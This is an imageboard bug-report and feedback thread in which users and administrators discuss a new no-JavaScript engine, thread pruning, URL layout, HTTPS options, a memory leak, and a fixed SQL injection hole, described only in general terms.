[Return] [Catalog]

1 Admin ## SysOP 2019-10-09T00:08:00 [ImgOps] [iqdb]
File: 1382755333735.jpg (JPEG, 354.38KB, 800x800)
Please use this thread to report bugs and give feedback. You may also start a thread on >>>/meta/, even though it's not an official board we will most likely still see it.
Feel free to also report issues directly on our GitLab:
2 Nameless 2019-10-09T01:33:40
3 Nameless 2019-10-09T02:27:23
The complete removal of javascript made certain things outright worse from a usability standpoint. I both understand and respect the decision to remove it, but it doesn't mean I don't miss what it brought to the table

I feel like there's some sort of compromise that could be reached. Maybe an official userscript?
4 Nameless 2019-10-09T03:26:30
That's mostly why I added javascript to the original site. I thought I couldn't live without things like image expansion. But after spending more time asking myself if that's really the case I'm not so sure that it is.
Part of me thinks it's more like an illusion that we think we need it, and it hardly makes a difference on imageboards at all. What do you really gain by expanding an image in-page vs. it opening up separately and then just clicking the back button (or the side button on most mice these days), or opening it in a new tab?

Plus this is also a bit of a new imageboard engine release, and it seems nice to have an imageboard that doesn't need any javascript at its core to function.
5 Larry The Unbreakable 2019-10-09T12:34:43
This is just an early april fools joke right?? haha!@@h hahaa
6 Nameless 2019-10-09T14:39:32
I like it, there should still be some option to switch to the old design or something for people who don't like it though.
7 Nameless 2019-10-09T15:18:24
It's subtle, but it does have an impact on the overall way you use the site.

For example, the lack of image expansion changes the types of images posted and the way they're used. They don't really integrate into the discussion anymore because users view them separate from the thread proper. They go from being a part of the post itself to a forum style post extension.

And let me be clear; there's nothing wrong with this change. If it's how you want things you can have it that way. My point is that any change to a site's functionality, no matter how seemingly minor, will have an impact on the way people use it.
8 Nameless 2019-10-09T15:56:06
I miss the old look, but I really like the new look. You've got a good eye for design. Did you keep that random bbs script? The old link isn't working.
Nameless 2019-10-09T15:59:54
The television link is defunct as well.
Nameless 2019-10-09T15:57:18
9 Nameless 2019-10-09T17:55:57
Is there no way to bring back image expansion?
10 Nameless 2019-10-09T19:05:57
Could the frame be kept even when directly browsing sub pages? It makes the browsing more comfy and provides more margin space to rest the eye. I would like to go to /board/all and still have it visible rather than having to navigate to the frontpage first and then use the link.
User-side scripts could fill that void if you so wish. I however appreciate that the admin is principled enough to go against the wave.
11 Admin ## SysOP 2019-10-09T19:44:50
I want to keep the site JS free at least by default for a number of reasons.
But I definitely don't want to force people to not use JS if they choose to, however going this route really does kind of feel like doing just that, because unfortunately adding JS on top of a website requires stuff like tampermonkey which not everyone wants to use.

So as a compromise I think we could add opt-in JS. If you have a particular cookie set it'll tell the site to add JS when it serves the page. There could also be an input box for custom user javascript too.
I think I might even just start a separate GitLab project just for the javascript file and keep the development separate (which might also make it more friendly for people to contribute to, since they don't have to know anything about the rest of the server code).
12 Nameless 2019-10-09T20:04:53
The designs are definitely not set in stone right now.
Mostly the CSS styles on the front page and boards like /all/ just feel "off" to me somehow. So those are definitely going to change. Also I still have to recreate the /v/ theme.

Links changed a bit. Boards are now at /board/XX and threads are at /thread/XX/YY
Also there were some changes to the flash board:
* html5 files changed formats. We're using GZIP now instead of ZIP.
* Newly uploaded flash files will be inside a container like the html5 files (but old ones are just going to serve the file directly for now).
* Old html5 uploads aren't working.
They're going to be pruned in a week though anyway. Here's the old randomboard thread: >>>/f/37
But I just repackaged it as GZIP and reuploaded it here: >>>/f/94

I know some of you have posted links to it on other sites, so should I try and restore the old link?
Maybe I should just sticky it so it doesn't get pruned too.
13 Nameless 2019-10-10T04:32:54
>Actual thread pruning
awh (´・ω・`)
14 Nameless 2019-10-10T15:48:39
The site does seem to be slow enough that a week is too short for automatic pruning.
15 Nameless 2019-10-10T16:13:44
Okay, I've tried to get used to this change, but I just can't. Tabadmin, what the fuck were you thinking? This is absolute horse shit
16 Nameless 2019-10-10T16:32:21
i like it

17 Nameless 2019-10-10T21:32:06
Thanks for the useful feedback. I'll get right to work on making the site less "horse shit".
18 Nameless 2019-10-10T22:30:52

I suggest linking to this on the GitHub repo so it's clear that the python version isn't used anymore.

>So as a compromise I think we could add opt-in JS. If you have a particular cookie set it'll tell the site to add JS when it serves the page.

This sounds dumb. I think anyone who cares enough about this already has JS disabled in their browser. Maybe they have cookies disabled too.
You're only "forcing people to use JS" if your site can't be used without it. Old 4taba had a script for image expansion (apparently) but you could still post if your browser didn't run the script.
19 Nameless 2019-10-10T22:37:41
Opt in JS sounds good to me.
20 Nameless 2019-10-10T23:52:28
Users with Javascript disabled didn't miss out on any functionality with the old site in the first place. I don't really get the sense in removing them outright instead of using noscript tags as usual. I really liked the innovation you made with the JS sidebar, you could remove it or leave it according to your preference without having to screw around with awkward frames.

More importantly, those new thread pruning rules are awful. Are you that short on space? No thead on this site is going to match the criteria for being "active" for more than 5 days at most. I don't want to have to save a thread every time there's a new post.

A much more minor complaint, but while I appreciate boards being under their own directory so you don't have to mess around with exceptions like the contact page, having threads under a completely separate one (/thread/) doesn't really work. A couple of alternatives:

Some users also find it more convenient to not have to write the /board/ part before or, or whatever as well. If enough people want it, it might be a good idea to use the old method, and create a single exception on a /static/ directory, like /static/contact, /static/rules for example.
21 Admin ## SysOP 2019-10-11T01:05:51
>>18 >>20
Whether it's the default or not isn't really the important issue.
There's really 2 separate issues here, and perhaps it's my fault for mixing them up more than I should have. So let me clarify.

When I say I don't want JS in the site I suppose what I should have said is I don't want it in "kotatsu", the name of the server engine. Having no JS integrated into the sites engine is a goal I've mentioned several times in the past, so this is nothing new.

But "shitaba", this website, is just one running instance of kotatsu, and as far as I'm concerned it can deviate all we want.
But I want kotatsu to be as easy to modify as possible, and it's much easier to add JS on top of a site that is known to work without it than it is to remove it from a site that may need it for something.

Also as a design philosophy I think it may be good to still keep any JS from being tightly integrated into shitaba anyway. It seems better to me to keep them in 2 distinct layers. The core which can function totally without it and then a layer of JS on top which is developed separately like an add-on.
Ultimately that could be hidden from the user and they wouldn't know the difference. That's the compromise I was talking about.
I only said "opt-in" off the top of my head, but it doesn't really matter. It could be "opt-out" or whatever, that's up to the users of the site to decide in my opinion.
22 Nameless 2019-10-11T01:15:19
No embed on /f/ once again
23 Nameless 2019-10-11T01:23:11 [ImgOps] [iqdb]
File: 1533501947154.jpg (JPEG, 111.21KB, 640x480)
Okay. To get the obvious out of the way, this new design is simply unnecessary and if anything it's a turn off for both potential new users and the people that have been visiting this site since its beginning. There was absolutely nothing wrong with how this board used frames originally, and the fact that I can't enlarge an image on the same page is just irritating. Amazing how you've stripped everything unique about this site away in under a day
24 Nameless 2019-10-11T01:53:27
Tabamin wasn't happy with the quality of the old codebase and took the time to write more satisfactory code. It seems to be well done, even if the feel is disorientingly different. The arguments for the (current) lack of JS also seems sensible to me.
25 Nameless 2019-10-11T03:03:24
It does have embeds, although maybe not what you have in mind.
The old files just aren't embedded, but new uploads will be embedded in a separate page.
26 Nameless 2019-10-11T03:58:01
True. I changed it to 1 month and bumped the default page limit from 10 to 20. Except /f/ which is 1.

>No thead on this site is going to match the criteria for being "active" for more than 5 days at most.

I'm not sure what you mean. For a thread to be marked old it has to go below (in bump order) 150 threads. That takes a hell of a lot longer than 5 days. Most boards still don't even have anywhere near that. /v/ has only around 60-70 for example.
Also now that I increased the page limit to 20 that should make the limit 300 threads before they start getting marked old.
By comparison: when a thread would get "archived" on 4chan is when it would be marked "old" here, and it can still be used.

The reason I make reference to "active" thread counts instead of just saying "when a thread falls off the last page" is because you can still bump old threads. So in theory someone could bump 300 old threads to the front page to push all 300 non-old threads off the last page and make them old. Effectively that would be like nuking the board since after the time period expires all threads would be deleted.
To prevent that from happening old threads don't count when checking if a thread has "fallen off the last page". So it only counts non-old threads.
Nameless 2019-10-11T04:05:26
Actually /v/ has 94, my mistake. But the point is the same.
27 Nameless 2019-10-11T06:15:58
>>23 As far as I can tell everything unique about 4taba is still here. Image expansion is not unique.
28 Nameless 2019-10-11T07:27:26
>>27 It's not a feature I particularly cared for, but the "boards as tags" thing doesn't really seem to still be a thing. I can't do all-unlisted-this-that for example.

Other things would probably be the sidebar, and the way that the textured background seems to be much less present in the default CSS, it just goes from a hard-to-see gray pattern to a somewhat unpleasant light shade of gray completely just by scrolling down a little.
29 Nameless 2019-10-11T07:35:33
>>26 My bad, I found the phrasing of the deletion criteria confusing.

I've been scraping the site again, but I'm scared it might increase the server load unncessarily. I was getting 502 errors for a while which was a little scary, but started again once they stopped. The method I use involves trying to download every thread from 1-99(/999 for the bigger ones) from each board in my board list, which is a little bruteforcey, but I can't really find a better way. Could you do one or all of these three things, for both of our sake?
1. Publish 4taba's databases for the public. I haven't looked at the source code, but as far as I can tell, the only sensitive data would be the post deletion passwords/IP addresses.
2. Create a virtual "res" directory or some other name which shows a full, plain HTML listing of a link to every thread of a given board. Catalogues are kind of complicated and hard to use in a scraping script.
3. Fix the bug where going to an invalid thread number will return a 404 error, instead of displaying an empty thread.

What did you think of my opinion on 4taba's URL schemes?
30 sage 2019-10-11T07:36:23
>3. Fix the bug where going to an invalid thread number will return a 404 error, instead of displaying an empty thread.
Swap those two around, whoops.
31 Nameless 2019-10-11T09:00:13
>>28 >>29
All of these are exactly the sort of things I love to implement. The more ways to access data the merrier.
While I was creating this new engine in Guile (a dialect of lisp) someone drew my attention to another textboard made in lisp that was extremely minimal and would communicate through s-expressions.
It made me wonder about doing something like that here. So you could talk to the server by sending messages like
>(post (name "anonymous") (comment ".....") ..)

>(get posts (where #:board "/a/")

and then it would return similarly formatted s-expression lists. Something like that would basically let you query all the database tables (aside from any sensitive info of course).

>What did you think of my opinion on 4taba's URL schemes?

If I understood correctly I also find it a bit annoying to have to erase "board" and write "thread". I've already had a few instances where I forgot to change it and thought I found a bug. So I'll probably either put threads on /board/XX/## or just put them all under /res/
32 Nameless 2019-10-11T10:37:38
>>31 Thanks. Sorry if it was rude of me to try to get your attention so much.
33 Admin ## SysOP 2019-10-13T05:44:59 [ImgOps] [iqdb]
File: hacked.png (PNG, 279.61KB, 1574x806)
Alright, which one of you faggots hacked the site?
Was it sql injection? I bet it was.
34 Nameless 2019-10-13T07:01:02 [ImgOps] [iqdb]
File: 66027639_p0.jpg (JPEG, 134.78KB, 1023x970)
I'd say my reaction to the change is mostly "eh". It's not a big deal to me either way, but if it works better "behind the scenes" then that's good. I'm not too worried about allowing javascript from 4taba so I'd definitely like to have it back.
35 evil hacker 2019-10-13T13:02:04
37 Nameless 2019-10-14T07:12:16
Considering this thread is sticky, shouldn't it always appear at the top of /all?
38 Nameless 2019-10-14T09:49:47
That's how it worked before and I thought it was more of an annoyance after a while. Just imagine if 4chan had an /all/ that displayed all the stickies from every board on it. Most of it would be irrelevant to any given thread.
But notice that there's a link to the sticky at the top of /all/ so everyone can still easily find it.
39 Nameless 2019-10-14T10:07:42
Stop using Cloudflare, they MITM attack enough of the web as it is.
40 Nameless 2019-10-14T10:22:37
>>39 Not to mention, doesn't it ruin the entire point of not having to use javascript?
41 Nameless 2019-10-14T20:20:53
What else would you recommend? Or just no ddos protection at all?
>>40 Not sure what you mean. Cloudflare makes no JS pointless? How so?
42 Nameless 2019-10-14T23:32:01
I think I fixed the hole with an actually working character escape function.
Try and rape the site again if you can
43 Nameless 2019-10-15T00:53:33
I guess it's ok now, but now your board name length limit is based on the weird html-escaped names instead of the actual names, and of course the board names in the db are also html-escaped. Is there a reason you don't actually do proper database queries? This string formatting thing is why you got raped to begin with...
44 Nameless 2019-10-15T01:19:18
>Is there a reason you don't actually do proper database queries?

It seemed to be bugged in Artanis (or I was doing something that made it not work right). It's brand new software and seems to constantly be changing itself.
For instance, I had to write my own functions to read POST form data and now I think the new version has it.

I disabled the database encoding because it wasn't working and I didn't want it to suddenly start working after an update resulting in everything being encoded twice.
But now that you mention it, I have done a huge number of changes to the database parts, since there's more documentation out now and I'm actually letting Artanis handle the connections internally.
I'll test it again.
But there's still several database queries that I can't figure out how to do "properly" at all using artanis. I'm not sure it has the capability right now (or it's just still not documented), so I have some of those weird hybrid queries that are partially handled by artanis and partially using format strings. I was planning on fixing those as Artanis developed further, and just wanted something that was good enough for now.

Also good catch about the name length. I'll have to test the length before encoding.
45 Nameless 2019-10-15T05:34:59
Fixed the board name length detection, and fixed the spoiler problem here >>>/ni/102/30 (which was caused by the same encoding change just now)
46 Nameless 2019-10-15T05:38:21
Also I should mention yesterday I fixed the problem with uppercase extensions here >>>/ho/420 where the image asks to download in firefox instead of opening in the browser.
47 Nameless 2019-10-15T09:03:48
>>46 The server doesn't send Content-Type? Clicking on that image still isn't any good for me
48 Nameless 2019-10-15T09:25:45
It's fixed for future uploads, and it does send content-type
49 Nameless 2019-10-15T12:14:43
>What else would you recommend? Or just no ddos protection at all?

I'm not familiar enough with alternative DDOS protection software/services, but I don't think this place is enough of a target to warrant using Cloudflare. Implementing some simple anti-spam could be enough. Ralee.org has a machine learning anti-spam system you could take a look at.
>Not sure what you mean. Cloudflare makes no JS pointless? How so?

Some sites using Cloudflare enables the optional JS only mode that requires Javascript enabled to access the site, but this wasn't the case with 4taba.
Nameless 2019-10-16T04:04:15
There was that /pr/ bot a while back.
50 Nameless 2019-10-15T14:37:02
Oh nice, I was banned. Will say this once again. This new design is a complete fuckup, and now post quality on the board has taken a complete dip in quality because of it.
51 Nameless 2019-10-15T21:08:20
I'm the only admin right now and not 1 person has been banned. Even the old bans were removed, and I just manually checked the banlist table in the database to verify that it's blank.
What makes you say you were banned? If you're seeing a message that says you are then it must be a bug. What did you do to make it show up?
52 Nameless 2019-10-16T11:16:12
I don't know if this would be popular with the users, but I think a board that's like /all/ but it ignores sage would be nice. Thread bumping or deciding not to is supposed to be a matter of keeping minor, old, or detestable threads out of the eyes of people who don't want to see it. But personally, I value seeing every new post more.
53 Nameless 2019-10-18T04:55:26
For some reason this page gives me a "500 Internal Server Error"

Most of the links related to this board are HTML escaped twice, leading to the nonexistent board https://4taba.net/board/>

Also it would be nice to also have the page list at the bottom of the index instead of just at the top.
54 Nameless 2019-10-18T05:42:52
>>53 It's good that the links in the posts still work, but the board name is just not being handled perfectly.
That's the same problem discussed here >>44
Once it's fixed it should fix those links too.

The current method is at least good enough to (hopefully) prevent the SQL injection someone used to hijack Admin access recently (they used it to make the 2nd news post, which I'm keeping by the way because I think it's funny)

I'll add the page list to the bottom.
And I have no idea what's up with page 28 (probably another encoding issue).
55 Nameless 2019-10-18T08:10:02
>>53 >>54
On second thought I think the problem here is we need 3 different encodings for board names.
Even on the old 4taba code there was only 1 which was probably a vulnerability. So this is a conceptual problem.

The 3 necessary encodings are:
1) The raw board name, that will go into the database
2) An HTML-escaped version that will let your browser display it properly but without the vulnerability (and won't work in links)
3) A URI-escaped version that won't display properly, but is both safe and will be a valid link (e.g. turning ">" into "%3E")

It's kind of obvious now that I see it, but sometimes the most obvious stuff is the last thing you notice.
I'm going to fix this right away.
56 Nameless 2019-10-18T10:03:07
Ok this patch is up.
https://4taba.net/board/%3E should be working now
57 Nameless 2019-10-18T18:35:38
I wish you'd switch back from frames to the old sidebar. 4taba's whole board-as-tag system does not play nice with frames at all.

You don't even need javascript to implement it. You could do pretty much everything you did before with CSS and HTML, including collapsing and expanding.
58 Nameless 2019-10-18T20:06:14
>You could do pretty much everything you did before with CSS and HTML, including collapsing and expanding.

That's interesting and I hadn't thought of it. I just searched for how to do this and found a few options that I'll experiment with.
Let me know what you had in mind too if you want.
59 Nameless 2019-10-18T20:43:07
None of the options I can find will work well with some simple browsers like dillo or CLI browsers.

But here's what I'm thinking:
Get rid of iframes by default, and use the javascript extension we're going to add by default.
So browsers that can't do javascript will see no sidebar initially. The ones which can still do iframes (like "links") can still use them if they want.
And browsers which support javascript will see the old div sidebar by default without frames.
60 Nameless 2019-10-18T21:22:55
Screw it, I'm going to just integrate JS back into the site instead of as a separate project.
But I want to do it in such a way that the site owner can toggle it on and off with a simple flag in the settings file, everything should still remain fully functional if it's off and for browsers that don't support js even if it's on.
iframes will still be available for browsers like "links" that have no js but still handle iframes correctly.
61 Nameless 2019-10-19T14:02:14
Some basic Javascript has been added.
See the news posting.
62 Nameless 2019-10-19T14:07:12 [ImgOps] [iqdb]
File: 1551602780082.png (PNG, 514.29KB, 532x582)
Thank you
63 Nameless 2019-10-19T22:40:59 [ImgOps] [iqdb]
File: wtf.PNG (PNG, 60.81KB, 1598x787)
The menu covers the threads, and the hide button doesn't work. Using K-Meleon on windows 7.
64 Nameless 2019-10-20T00:16:15
I'm guessing that means it doesn't use javascript. It should be working now, I changed it so the sidebar isn't there by default unless you have js. You should still be able to use the iframe sidebar though by clicking "Frames" at the top of the page.
65 Nameless 2019-10-20T00:35:42
>>63 >>64
Actually I think I have an even better solution. I'm going to take a break though so maybe I'll work on it tomorrow.
But I think I might add a cookie fallback, so you can still use the div menu without javascript instead of having to use frames.

The reason this seems more complicated than it needs to be is because I'm trying to accommodate browsers that don't work with a div sidebar at all and have no javascript (like CLI browsers or dillo). So there's really no option, there has to be no sidebar by default. Then to make it show up for browsers which have the capability to use it it needs to be turned on via javascript or a cookie.

This is why I initially chose to just use frames, since it doesn't have any of these issues, and browsers which don't support frames automatically ask the user which frame to enter.
But hopefully the cookie fallback will make it nice.
66 Nameless 2019-10-29T16:45:45
No one mentioned that we are all named Nameless rather than Anonymous now!
68 Nameless 2019-10-29T23:56:21
I was wondering how long it would take someone to say something. I was using that name while testing to see how it felt, because someone pointed out to me that a more direct english translation of 名無しさん would be something like "no name" or "nameless". I just forgot to switch back to anonymous before launching.
But what do you all think about it?
69 Nameless 2019-10-30T00:11:54
I like the change. It helps distance the site from other imageboards and makes it feel more like its own thing. Although if it were up to me, I'd have it as "no name", simply because I like the sound of it better.
71 Nameless 2019-10-31T04:41:42
>>>/ni/249/10 makes me think we should have a feature where the poster can reference their own upload file inside their post before it's submitted.
Maybe by typing something like [file:name] or [file:link]?
72 Nameless 2019-11-05T01:09:13
Could you add the ability to hide threads?
73 Anonymous 2020-01-17T00:50:01
This. Also re-implementing clicking on post numbers to reply would be nice
74 Verniy ## SysOP 2020-01-17T01:55:54
I've been thinking about the best way to handle JavaScript expansions on the site while staying true to what he designed the site around. I don't really have an answer to this yet, but I'd say that hiding and easy post replies are cornerstone of any imageboard. It's just a matter of how to go about implementing it in a way that isn't excessive.

I also still have to handle more serious site bugs so feature expansions are secondary to stability. Don't want to make this into another vichan 'shovelware'.
75 Anonymous 2020-01-17T02:14:35
>>74 Maybe you could have some sitewide feature where javascript features are enabled only by some kind of cookie.
76 Anonymous 2020-01-17T18:19:16
This and hide image as well
77 Anonymous 2020-01-19T15:17:53 [ImgOps] [iqdb]
File: kaiba.jpg (JPEG, 130.47KB, 800x450)
Damn Vermin, was my video game music thread deleted?
Tell me it's because of the merge.
78 Anonymous 2020-01-19T19:23:44
do you remember the number? I'm moving the ones with duplicate numbers on request
79 Anonymous 2020-01-19T20:13:32
No I made here on 4taba2, but it was before the merge.
If it was an accident then never mind. I thought it was intentionally deleted for some reason.
80 Anonymous 2020-01-20T00:20:41
if you still have your original image i'll put it up
81 Anonymous 2020-01-20T01:10:14
That's okay thank you.
82 Anonymous 2020-01-28T22:11:29
I think that if it's possible, you should just give the old threads a numbering format like ★︎12 so all the threads can co-exist. Also, you should restore the original board news and put yours after so it actually feels like the same site.
83 Anonymous 2020-01-29T07:40:51
I was under the idea that the numbers were forced to be numbers, but I hadn't checked
85 Anonymous 2020-02-04T15:56:59
Could you please add HTTPS with Let's Encrypt like the original site?
86 Anonymous 2020-02-04T21:03:38
Original site went through cloudflare to get it's https. I can do this since CDNs are something I want to understand better.
87 Anonymous 2020-02-04T22:51:26
Honestly, I'd prefer a dedicated Let's Encrypt certificate rather than using Cloudflare, which is essentially a MITM service and tracks users along all sites behind their network. It can also cause problems to people posting under non-mainstream browsers.

I understand it is a "comfortable" choice but I'd really appreciate if you explored less user-hostile alternatives.
88 Anonymous 2020-02-04T23:02:43
I'd do it like that with letsencrypt, but the server software used for the current iteration of kotatsu doesn't have an SSL API for devs to specify their certificate.

>GNU Artanis doesn't support HTTPS at present. There are plans to support it in the future.

I'll see if there's a way to use not-cloudflare but this will probably mean forking Artanis.
89 Anonymous 2020-02-05T19:28:18
Can't you put an nginx proxy in front of it?
90 Anonymous 2020-02-05T20:13:23
idk, my belief is that the server being proxied to needed the cert. That's what I need to see
91 Anonymous 2020-02-05T20:29:56
from what i looked up it's possible. I think the issue I've had is not using localhost. I guess I'll see if it works in an hour or so
92 Anonymous 2020-02-05T21:59:16
Yeah, so I got that set up easily,

my confusion is that getting this to work on theatre.kissu.moe and in the past the captcha that used to be running on kissu.moe/captcha(now on https://4taba2.net:4087/captcha) has been tough and I ended up proxy passing to the already encrypted website.

93 Anonymous 2020-02-05T22:07:50
Thank you! (・∀・)
95 Anonymous 2020-02-14T03:45:51
I'm going to put about 19 hours into fixing the memory leak bug starting the 18th. Should be fixed before any other concerns are addressed.
96 Anonymous 2020-02-16T19:33:12
2bh, HTTPS isn't really necessary on a site like 4taba. You give very little information to the site, and everything you do send is public.
97 Anonymous 2020-02-19T11:21:29
seems like when 4taba serves images they stay in memory... couldn't get it to happen with swf files though. Think I'll do some tests with mp3 and non image file types to see what aspects aren't working
99 Anonymous 2020-02-20T04:04:20 [ImgOps] [iqdb]
File: 8ff2c426f02afe510f9599476ca61c… (PNG, 2.06MB, 2000x2000)
Memory looks to be deallocating now.
unrelated, seems I forgot to increase max filesize from nginx defaults.
100 Anonymous 2020-02-23T00:32:05
didn't look like it was working afterall and broke asterism. I've got another lead to explore though.
101 Anonymous 2020-02-23T12:54:55
My current idea of where to take the site software is to the point where I feel I'd want to put it on kissu as a vichan replacement. I'm running into problems with vichan's design decisions and feel like kotatsu is better designed from the getgo and follows more educated architecture than vichan's "lets stuff all the file info into one DB column!!!"

This means in addition to adding what I see as essential to the software(vichan has a lot of bloat), and adding flags to disable certain functions such as board creation, aged post expiration (maybe, I'm not sure) and a flexibility of layouts for vichan users or 4taba users.

This is to say that the people who want a more consistent functionality to other imageboards will be happy. Allowing users to add videos from whatever source is an aspect of this(not with straight up iframe embedding because it's slow and you load foreign JS without consent) as well as the basic functions like clicking on numbers, thread hiding and etc. We might handle some of this with react where applicable... this is just a plan at this point, the memory issue hasn't even been resolved yet.
102 Anonymous 2020-02-23T13:01:06 [ImgOps] [iqdb]
File: c63cae1344766f14d9d184e5aafed0… (GIF, 2.55MB, 1152x1152)
so tl;dr I want to add to the software the features that are required to be on kissu (as a user and admin) then throw vichan into the dumpster and use this site's code instead.

In general keep 4taba the same, but allow it to become a vichan replacement if you flip switches in the options.
103 Anonymous 2020-02-23T13:02:18
list of use cases to come. memory leak still biggest priority
107 Anonymous 2020-02-24T23:07:09
Caching is off. If this doesn't get the memory issue under control then it's an issue with Artanis, yet I find it confusing that no one has caught it as yet when the issue is serving images, something it should already have verified to be working. I think it only happens with large files though so maybe the devs didn't intend for it to handle files over a few MB
108 Anonymous 2020-02-24T23:40:09
just thought of something else that might be causing it
111 Anonymous 2020-02-26T19:39:49
well, no denying it now. Server breaks over time from image loads. But not all of them though. MP4's do it for certain. I don't know the exact conditions behind it yet.
I've scheduled server restarts every 24/hrs again
113 Anonymous 2020-02-28T00:21:23 [ImgOps] [iqdb]
File: bored.jpg (JPEG, 339.79KB, 682x965)
I think it was too soon for tabamin to switch using this software to handle the site... It might be a good idea to revert back to what he was using originally and when I get the time to hunt down the bug, go back to the Artanis implementation. The site itself is designed well and it's an original imageboard software not derived from the political types so there's no reason to write it off.

But yeah... don't think it's a good idea to have your production site running on an engine that doesn't seem to have the basic kinks worked out.
115 Anonymous 2020-03-01T05:41:30
Just going to try and find the bug and be done with it.
Then we can actually go on to add things instead of trying to just cope.
117 Anonymous 2020-03-02T09:37:15 [ImgOps] [iqdb]
File: 169067ecb9fb215c8cf0c848357eca… (JPEG, 1.07MB, 2480x3508)
don't want to speak too soon, but after looking through the code a bit I found that it references a bunch of TODOs and FIXME relating to static file uploads. An adjustment I made in the default way of sending files seems to have done some good and it's handling the memory better now. Running on my desktop localhost the issue of mp4's eating up 5% of the system's memory is gone.

If the fix holds I'll send the issue up to artanis and see if this is expected behavior or not.
118 Anonymous 2020-03-03T05:12:29 [ImgOps] [iqdb]
File: b62ab3fdd9f33bc2babf9af17b5e95… (PNG, 1.48MB, 977x1400)
alright, it's fixed. I'm pretty certain now.

There's 3 other bugs I know about that should be addressed but they shouldn't be as complicated
119 Anonymous 2020-03-03T08:26:14
Bug 2 fixed, can ban again.

didn't understand nginx doesn't auto-forward IP in proxypass
120 Anonymous 2020-03-03T08:36:24
Updated the wiki on the GitHub to better handle it if someone wants to ever use this.

Next is issues are with webm thumb-nailing and serving and some .png files returning a 500 error.
121 Anonymous 2020-03-03T21:48:16 [ImgOps] [iqdb]
File: Screenshot at 16-46-56.png (PNG, 94.47KB, 847x504)
there are issues with how the software handles non-safe characters. The most current problem is file renaming but I'm sure it's in other places too

like, it's reading sulli's as sulli' but not actually storing the file with it's preferred naming convention
122 Anonymous 2020-03-03T23:16:34 [ImgOps] [iqdb]
File: <div>'''&… (PNG, 56.72KB, 1462x722)
Alright, we should be able to upload filenames with unsafe characters in them again
123 Anonymous 2020-03-03T23:22:51 [ImgOps] [iqdb]
File: e6e3632a6bb969baa8b2c9bab97cf1… (JPEG, 230.07KB, 1452x1202)
next bug I think was webm's

there's an inconsistent way that they're handled, sometimes they get thumbnailed, other times not.
124 Anonymous 2020-03-04T01:22:20
>>113 A big part of that is probably because artanis is a completely new framework. It's kind of like django but for guile instead of python, but has very few people working on it, and probably even fewer people using/testing it at this point.
125 Anonymous 2020-03-04T01:42:20 [ImgOps] [iqdb]
File: bug destroyer.png (PNG, 42.41KB, 614x840)
Based Veriny
126 Anonymous 2020-03-04T02:15:21
>>117 That reminds me, in case I never told you this, Artanis had some bugs in reading multipart/form-data, so I basically copied what they had to a separate module and fixed the parts I needed (file-uploads.scm).
Ideally that whole module should be deleted from the project once artanis gets it working (I probably should have filed a bug report with them, but oh well).
I think they've made some significant changes in that area lately, so it's possible some of the stuff in there is now out-dated and could be the cause of some issues.
I wouldn't mind taking a look at that if you need some help, it might require significant rewrite of some stuff.
127 Anonymous 2020-03-04T03:45:07
I believe that file was one of the first issues I found an issue in. I modified the original method to work with the changes. https://puu.sh/FgXGh/412832550d.png

My understanding of how things work isn't at the level where I can add new components or rework things to be more efficient so I've modified existing to work with the changes even if not the best. I should send in a report about the leak and it's possible resolution as well.

People seem to want some front-end things re-added so was going to do that.
128 Anonymous 2020-03-04T04:06:47
but to that end, why is kotatsu trying to pick up after artanis... if the intention is to fix issues and gaps in the api then they should be done at the source, in the art binary file
129 Anonymous 2020-03-04T04:38:27
>>128 Well that's kind of what I meant. To test the viability of removing that module and using artanis built in multipart/form-data handling. To see if the bugs are gone. That way you shouldn't have to worry about it anymore.
130 Anonymous 2020-03-04T05:54:19
Ya, that's a good idea.
131 Anonymous 2020-03-05T06:52:47
Image thumbnails/embed previews should turn slightly seethrough while the full embed is loading. Unless it needs complex javashit.
132 Anonymous 2020-03-05T07:24:10
onclick(function(){this.className = ".clicked";}

or something of that sort
133 Anonymous 2020-03-05T16:33:12
New poster here. I really like the place. There's something special about it.

About Javascript: it's ok if there's lightweight open source JS code that can run in IceCat's LibreJS. Imageboards need at least the onclick image resizing toggle. (with scaling maybe?). There's really no need for more JS code than this single functionality. It doesn't break anything without JS, it'll just link to the url of the full-sized image.
135 Anonymous 2020-03-05T20:08:11 [ImgOps] [iqdb]
File: ba0373ddb4d257a4ba60dc95abfedc… (JPEG, 5.93MB, 2400x2490)
it was one line with an added function

there's an html function for onload that gets triggered when you get the 200 response for image so it sets and unsets opacity there.
136 Anonymous 2020-03-05T22:08:32
Oh, I didn't you know could do stuff like that.
137 Anonymous 2020-03-07T21:46:24

function postNumClick(e){
138 Anonymous 2020-03-08T20:35:08
Would it be possible to automatically redirect HTTP requests to HTTPS?
139 Anonymous 2020-03-09T00:12:58
Not really a bug.
If you delete your post, the post count is still incremented, even if it's the last post of a thread. Having missing numbers in the positive integers sequence triggers my autism.
140 Anonymous 2020-03-09T04:38:09
If shit's missing, I'd at least prefer to know about it. Don't change it
142 Anonymous 2020-03-09T07:26:04
>>138 done
>>139 I suppose the auto-increment is kind of silly, but I personally like it.

>>140 I don't understand, I let everyone know what I've changed either in this thread or in the git documentation of the fork.
143 Anonymous 2020-03-09T08:49:12
>>142 I mean in any individual thread, when a post has been deleted, it should be immediately obvious.
144 Anonymous 2020-03-09T09:03:57
oh, i thought you were talking about something else. I mean, for the sake of argument, is delete really needed?
145 Anonymous 2020-03-09T09:23:14
Only as a compromise to legal requirements.
146 Anonymous 2020-03-09T10:27:14
if this software used an procedueal language I would trial it right now
147 Anonymous 2020-03-09T19:01:17
Scheme is a very procedural language.
148 Anonymous 2020-03-09T22:30:06
I guess what I mean is I don't like how whenever I look at a piece of Lisp the programmer just dumps parentheses at the end of the line. so that removing segments requires understanding everything. when making modifications to View components this is an unesescary chore and in the case of kotatsu many of these static page elements(such as delete) are programmatically defined
149 Anonymous 2020-03-10T01:28:25
That's a style thing. You can easily write code like this:

;this is common lisp btw, I'm more familiar with it than scheme
(setf a (read))
(if (> a 0)
(print "a is positive")
(if (< a 0)
(print "a is negative")
150 Anonymous 2020-03-10T01:31:07
looks enjoyable now
151 Anonymous 2020-03-13T19:39:04
For some reason the kotatsu server got a boost to the number of cores from 1-2 for no additional cost
152 Anonymous 2020-03-15T00:01:02
finished my updates on vichan so I'm going to set up thread hiding tomorrow.
153 Anonymous 2020-03-15T16:05:01
> so that removing segments requires understanding everything

Maybe that's a sign that it should be broken up into multiple functions? Anyway, I am not sure why placing multiple closing brackets on the same line would play any part in this. Is it just keeping them balanced?
154 Anonymous 2020-03-15T17:14:46
>>153 Templating typically tries to stay as high level as possible
155 Anonymous 2020-03-16T00:43:51
